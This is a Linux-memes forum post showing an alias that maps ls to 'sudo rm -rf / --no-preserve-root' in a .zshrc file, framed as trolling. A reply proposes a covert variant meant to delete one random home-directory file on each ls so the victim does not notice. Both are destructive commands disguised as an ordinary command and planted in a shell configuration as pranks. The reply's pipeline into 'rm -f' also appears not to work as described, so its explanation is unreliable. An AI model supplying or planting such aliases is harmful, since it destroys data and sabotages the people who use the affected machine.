wiikifox@pawb.social to linuxmemes@lemmy.world · 11 months agoJust a little bit of trolling...pawb.socialimagemessage-square1fedilinkarrow-up11arrow-down10file-text
arrow-up11arrow-down1imageJust a little bit of trolling...pawb.socialwiikifox@pawb.social to linuxmemes@lemmy.world · 11 months agomessage-square1fedilinkfile-text
Image transcription: screenshot of neovim adding alias ls='sudo rm -rf / --no-preserve-root' to the end of ~/.zshrc
minus-squareProgrammer Belch@lemmy.dbzer0.comlinkfedilinkEnglisharrow-up0·11 months agoWhy not make it more mischievous? alias ls="find $HOME -type f | shuf -n 1 | rm -f; ls" This line erases one random file from your home directory and then uses ls as normal. You won’t know what vanished until you need it or it removes a needed library or binary.
Why not make it more mischievous?
alias ls="find $HOME -type f | shuf -n 1 | rm -f; ls"
This line erases one random file from your home directory and then uses ls as normal. You won’t know what vanished until you need it or it removes a needed library or binary.